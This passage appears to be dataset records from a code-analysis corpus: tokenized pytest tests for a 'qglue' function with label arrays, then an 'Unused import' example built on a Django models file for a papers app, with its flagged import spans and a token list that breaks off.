"2", ".", "u", "'_", ",_", "using_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dc_", "=_", "qg", "lue_", "(_", "data1_", "=_", "self_", "._", "xy_", ",_", "data2_", "=_", "self_", "._", "dict", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "links_", "=_", "links_", ")_", "._", "data\\u", "collection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "links_", "=_", "[_", "[_", "[_", "'", "x", "'_", "]_", ",_", "'", "u", "'_", ",_", "using_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "\\u", "setup_", "(_", "dc_", ",_", "{_", "'", "data", "1", "'_", ":_", "[_", "'", "x", "'_", ",_", "'", "y", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "2", "'_", ":_", "[_", "'", "u", "'_", ",_", "'", "v", "'_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "=_", "dc_", "[_", "0_", "]_", "if_", "dc_", "[_", "0_", "]_", "._", "label_", "==_", "'", "data", "1", "'_", "else_", "dc_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "np_", "._", "testing_", "._", "assert", "\\u", "array", "\\u", "equal_", "(_", "d_", "[_", "'", "x", "'_", "]_", ",_", "self_", "._", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "np_", "._", "testing_", "._", "assert", "\\u", "array", "\\u", "equal_", "(_", "d_", "[_", "'", "u", "'_", "]_", ",_", "self_", "._", "x_", "*_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "dc_", "[_", "0_", "]_", "if_", "dc_", "[_", "0_", "]_", "._", "label_", "==_", "'", "data", "2", "'_", "else_", "dc_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Incomp", "atible", "Attribute_", ")_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "[_", "'", "x", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "QG", "lue_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "bad", "\\u", "link_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "forwards_", "=_", "lambda_", "*_", "args_", ":_", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "=_", "[_", "(_", "[_", "'", "Data", "1", ".", "a", "'_", "]_", ",_", "[_", "'", "Data", "2", ".", "b", "'_", "]_", ",_", "forwards_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Value", "Error_", ")_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dc_", "=_", "qg", "lue_", "(_", "Data", "1_", "=_", "self_", "._", "xy_", ",_", "Data", "2_", "=_", "self_", "._", "dict", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "links_", "=_", "links_", ")_", "._", "data\\u", "collection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "exc_", "._", "value_", "._", "args_", "[_", "0_", "]_", "==_", "\"", "Inva", "lid", " ", "link", " ", "(", "no", " ", "component", " ", "named", " ", "Data", "1", ".", "a", ")\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "QG", "lue_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "bad", "\\u", "data\\u", "shape_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "pytest_", "._", "raises_", "(_", "Value", "Error_", ")_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dc_", "=_", "qg", "lue_", "(_", "d_", "=_", "self_", "._", "bad", "\\u", "data_", ")_", "._", "data\\u", "collection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "exc_", "._", "value_", "._", "args_", "[_", "0_", "]_", "._", "startswith_", "(_", "\"", "Inva", "lid", " ", "format", " ", "for", " ", "data", " ", "'", "d", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "QG", "lue_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "bad", "\\u", "data\\u", "format_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "pytest_", "._", "raises_", "(_", "Type", "Error_", ")_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dc_", "=_", "qg", "lue_", "(_", "d_", "=_", "5_", ")_", "._", "data\\u", "collection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "exc_", "._", "value_", "._", "args_", "[_", "0_", "]_", "._", "startswith_", "(_", "\"", "Inva", "lid", " ", "data", " ", "description", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "QG", "lue_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mal", "formed", "\\u", "data\\u", "dict_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "pytest_", "._", "raises_", "(_", "Value", "Error_", ")_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dc_", "=_", "qg", "lue_", "(_", "d_", "=_", "{_", "'", "x", "'_", ":_", "'", "bad", "'_", "}_", ")_", "._", "data\\u", "collection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "exc_", "._", "value_", "._", "args_", "[_", "0_", "]_", "._", "startswith_", "(_", "\"", "Inva", "lid", " ", "format", " ", "for", " ", "data", " ", "'", "d", "'\"_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
caseywstark/colab/colab/apps/papers/models.py
[ { "content": "from datetime import datetime\n\nfrom django.core.urlresolvers import reverse\nfrom django.db import models\nfrom django.utils.translation import ugettext, ugettext_lazy as _\nfrom django.contrib.auth.models import User\nfrom django.db.models.query import QuerySet\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib.contenttypes import generic\n\nfrom tagging.fields import TagField\n\nimport object_feeds\n\n\nobject_feeds.register(Paper)\n\n\n \n\n\n\nfrom django.db.models.signals import pre_save, post_save\n\n\npost_save.connect(paper_feed_title_update, sender=Paper)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Paper(models.Model):\n \"\"\" A formal write-up of results. \"\"\"\n \n content_type = models.ForeignKey(ContentType, null=True, blank=True)\n object_id = models.PositiveIntegerField(null=True, blank=True)\n content_object = generic.GenericForeignKey(\"content_type\", \"object_id\")\n \n title = models.CharField(_(\"title\"), max_length=255, unique=True)\n slug = models.SlugField()\n \n creator = models.ForeignKey(User, verbose_name=_(\"creator\"), related_name=\"%(class)s_created\")\n created = models.DateTimeField(_(\"created\"), default=datetime.now)\n last_editor = models.ForeignKey(User, verbose_name=_(\"last_editor\"), related_name=\"%(class)s_edited\")\n last_edited = models.DateTimeField(default=datetime.now)\n \n tags = TagField()\n \n contributor_users = models.ManyToManyField(User,\n through = \"PaperContributor\",\n verbose_name = _(\"contributor\")\n )\n \n ### denormalization\n # votes\n yeas = models.PositiveIntegerField(default=0, editable=False)\n nays = models.PositiveIntegerField(default=0, editable=False)\n votes = models.PositiveIntegerField(default=0, editable=False)\n # contributors\n contributors_count = models.PositiveIntegerField(default=0, editable=False)\n # comments\n comments_count = models.PositiveIntegerField(default=0, editable=False)\n # followers\n followers_count = models.PositiveIntegerField(default=0, editable=False)\n \n class Meta:\n app_label = \"papers\"\n verbose_name = _(\"Paper\")\n verbose_name_plural = _(\"Papers\")\n ordering = ['slug']\n get_latest_by = 'last_edited'\n \n \n \n \n ", "metadata": "root.Paper", "header": "['module', '___EOS___']", "index": 14 }, { "content": " def __unicode__(self):\n return self.title", "metadata": "root.Paper.__unicode__", "header": "['class', 'Paper', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 55 }, { "content": " def get_absolute_url(self):\n return reverse(\"paper_detail\", kwargs={\"slug\": self.slug})", "metadata": "root.Paper.get_absolute_url", "header": "['class', 'Paper', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 58 }, { "content": " def user_is_contributor(self, user):\n return self.contributors.filter(user=user).exists()", "metadata": "root.Paper.user_is_contributor", "header": "['class', 'Paper', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 61 }, { "content": " @property\n def current(self):\n return self.revisions.latest()", "metadata": "root.Paper.current", "header": "['class', 'Paper', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 64 }, { "content": " @property\n def revision(self, rev_number):\n return self.revisions.get(revision=rev_number)", "metadata": "root.Paper.revision", "header": "['class', 'Paper', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 68 }, { "content": "class PaperRevision(models.Model):\n \"\"\" A change in Paper. \"\"\"\n \n paper = models.ForeignKey(Paper, verbose_name=_(u'Paper'), related_name=\"revisions\")\n editor = models.ForeignKey(User, verbose_name=_(u'Editor'), null=True)\n revision = models.IntegerField(_(u\"Revision Number\"))\n comment = models.CharField(_(u\"Editor comment\"), max_length=255, blank=True)\n \n content = models.TextField(_(u\"Content\"))\n\n created = models.DateTimeField(_(u\"Modified at\"), default=datetime.now)\n \n yeas = models.PositiveIntegerField(default=0, editable=False)\n nays = models.PositiveIntegerField(default=0, editable=False)\n votes = models.PositiveIntegerField(default=0, editable=False)\n\n class Meta:\n verbose_name = _(u'Paper revision')\n verbose_name_plural = _(u'Paper revisions')\n get_latest_by = 'created'\n ordering = ['-revision']\n \n ", "metadata": "root.PaperRevision", "header": "['module', '___EOS___']", "index": 75 }, { "content": " def __unicode__(self):\n return ugettext('Revision %(created)s for %(page_title)s') % {\n 'created': self.created.strftime('%Y%m%d-%H%M'),\n 'page_title': self.paper.title,\n }", "metadata": "root.PaperRevision.__unicode__", "header": "['class', 'PaperRevision', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 97 }, { "content": " def get_absolute_url(self):\n return reverse(\"paper_revision\", kwargs={\"paper_id\": self.paper.id, \"revision_number\": self.revision})", "metadata": "root.PaperRevision.get_absolute_url", "header": "['class', 'PaperRevision', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 103 }, { "content": "class PaperContributor(models.Model):\n \n paper = models.ForeignKey(Paper, related_name = \"contributors\", verbose_name = _(\"paper\"))\n user = models.ForeignKey(User, related_name = \"papers\", verbose_name = _(\"user\"))\n \n contributions = models.PositiveIntegerField(_(\"contributions\"), default=1)\n \n away = models.BooleanField(_(\"away\"), default=False)\n away_message = models.CharField(_(\"away_message\"), max_length=500)\n away_since = models.DateTimeField(_(\"away since\"), default=datetime.now)\n \n class Meta:\n unique_together = [(\"user\", \"paper\")]", "metadata": "root.PaperContributor", "header": "['module', '___EOS___']", "index": 107 }, { "content": "def paper_feed_title_update(sender, instance, created, **kwargs):\n instance.feed.title = instance.title\n instance.feed.save()", "metadata": "root.paper_feed_title_update", "header": "['module', '___EOS___']", "index": 124 } ]
[ { "span": "from django.db.models.query import QuerySet", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 43 }, { "span": "from django.db.models.signals import pre_save, post_save", "start_line": 122, "start_column": 0, "end_line": 122, "end_column": 56 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "ugettext_", ",_", "uge", "ttext", "\\u", "lazy_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "models_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "models_", "._", "query_", "import_", "Query", "Set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "contenttype", "s_", "._", "models_", "import_", "Conten", "t", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "contenttype", "s_", "import_", "generic_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "tagging", "_", "._", "fields_", "import_", "Ta", "g", "Field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "object\\u", "feeds_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "object\\u", "feeds_", "._", "register_", "(_", "Pap", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "models_", "._", "signals_", "import_", "pre", "\\u", "save_", ",_", "post", "\\u", "save_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "post", "\\u", "save_", "._", "connect_", "(_", "pape", "r", "\\u", "feed", "\\u", "title", "\\u", "update_", ",_", "sender_", "=_", "Pap", "er_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Pap", "er_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "A", " ", "formal", " ", "write", "-", "up", " ", "of", " ", "results", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "content", "\\u", "type_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "Conten", "t", "Type_", ",_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "id_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content", "\\u", "object_", "=_", "generic_", "._", "Gene", "ric", "Fore", "ign", "Key_", "(_", "\"", "content", "\\u", "type", "\"_", ",_", "\"", "object\\u", "id", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "title_", "=_", "models_", "._", "Char", "Field_", "(_", "\\u_", "(_", "\"", "title", "\"_", ")_", ",_", "max", "\\u", "length_", "=_", "255_", ",_", "unique_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slug_", "=_", "models_", "._", "Sl", "ug", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "creator_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "User_", ",_", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "\"", "creat", "or", "\"_", ")_", ",_", "relate", "d\\u", "name_", "=_", "\"%", "(", "class", ")", "s", "\\u", "created", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created_", "=_", "models_", "._", "Date", "Time", "Field_", "(_", "\\u_", "(_", "\"", "created", "\"_", ")_", ",_", "default_", "=_", "datetime_", "._", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "editor_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "User_", ",_", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "\"", "last", "\\u", "editor", "\"_", ")_", ",_", "relate", "d\\u", "name_", "=_", "\"%", "(", "class", ")", "s", "\\u", "edited", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "edited", "_", "=_", "models_", "._", "Date", "Time", "Field_", "(_", "default_", "=_", "datetime_", "._", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tags_", "=_", "Ta", "g", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "contributor", "\\u", "users_", "=_", "models_", "._", "Many", "To", "Many", "Field_", "(_", "User_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "through_", "=_", "\"", "Pap", "er", "Contributor", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "\"", "contributor", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", " ", "deno", "rmal", "ization_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "votes_", "\\u\\u\\uNL\\u\\u\\u_", "ye", "as_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "default_", "=_", "0_", ",_", "editable_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "na", "ys_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "default_", "=_", "0_", ",_", "editable_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "votes_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "default_", "=_", "0_", ",_", "editable_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "contributor", "s_", "\\u\\u\\uNL\\u\\u\\u_", "contributor", "s", "\\u", "count_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "default_", "=_", "0_", ",_", "editable_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "comments_", "\\u\\u\\uNL\\u\\u\\u_", "comment", "s", "\\u", "count_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "default_", "=_", "0_", ",_", "editable_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "followers", "_", "\\u\\u\\uNL\\u\\u\\u_", "followers", "\\u", "count_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "default_", "=_", "0_", ",_", "editable_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "label_", "=_", "\"", "papers", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "\"", "Pap", "er", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verbo", "se", "\\u", "name", "\\u", "plural_", "=_", "\\u_", "(_", "\"", "Pap", "ers", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ordering_", "=_", "[_", "'", "slug", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "\\u", "late", "st", "\\u", "by_", "=_", "'", "last", "\\u", "edited", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Pap", "er_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "title_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pap", "er_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "abs", "olute", "\\u", "url_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "reverse_", "(_", "\"", "pape", "r", "\\u", "deta", "il", "\"_", ",_", "kwargs_", "=_", "{_", "\"", "slug", "\"_", ":_", "self_", "._", "slug_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pap", "er_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "user", "\\u", "is", "\\u", "contributor_", "(_", "self_", ",_", "user_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "contributor", "s_", "._", "filter_", "(_", "user_", "=_", "user_", ")_", "._", "exists_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pap", "er_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "current_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "revisions_", "._", "latest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pap", "er_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "revision_", "(_", "self_", ",_", "rev", "\\u", "number_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "revisions_", "._", "get_", "(_", "revision_", "=_", "rev", "\\u", "number_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Pap", "er", "Revision_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "A", " ", "change", " ", "in", " ", "Pap", "er", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "paper_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "Pap", "er_", ",_", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "u", "'", "Pap", "er", "'_", ")_", ",_", "relate", "d\\u", "name_", "=_", "\"", "revis", "ion", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "editor_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "User_", ",_", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "u", "'", "Edit", "or", "'_", ")_", ",_", "null_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "revision_", "=_", "models_", "._", "Integer", "Field_", "(_", "\\u_", "(_", "u", "\"", "Revi", "sion", " ", "Number", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comment_", "=_", "models_", "._", "Char", "Field_", "(_", "\\u_", "(_", "u", "\"", "Edit", "or", " ", "comment", "\"_", ")_", ",_", "max", "\\u", "length_", "=_", "255_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "content_", "=_", "models_", "._", "Text", "Field_", "(_", "\\u_", "(_", "u", "\"", "Conten", "t", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "created_", "=_", "models_", "._", "Date", "Time", "Field_", "(_", "\\u_", "(_", "u", "\"", "Modifie", "d", " ", "at", "\"_", ")_", ",_", "default_", "=_", "datetime_", "._", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 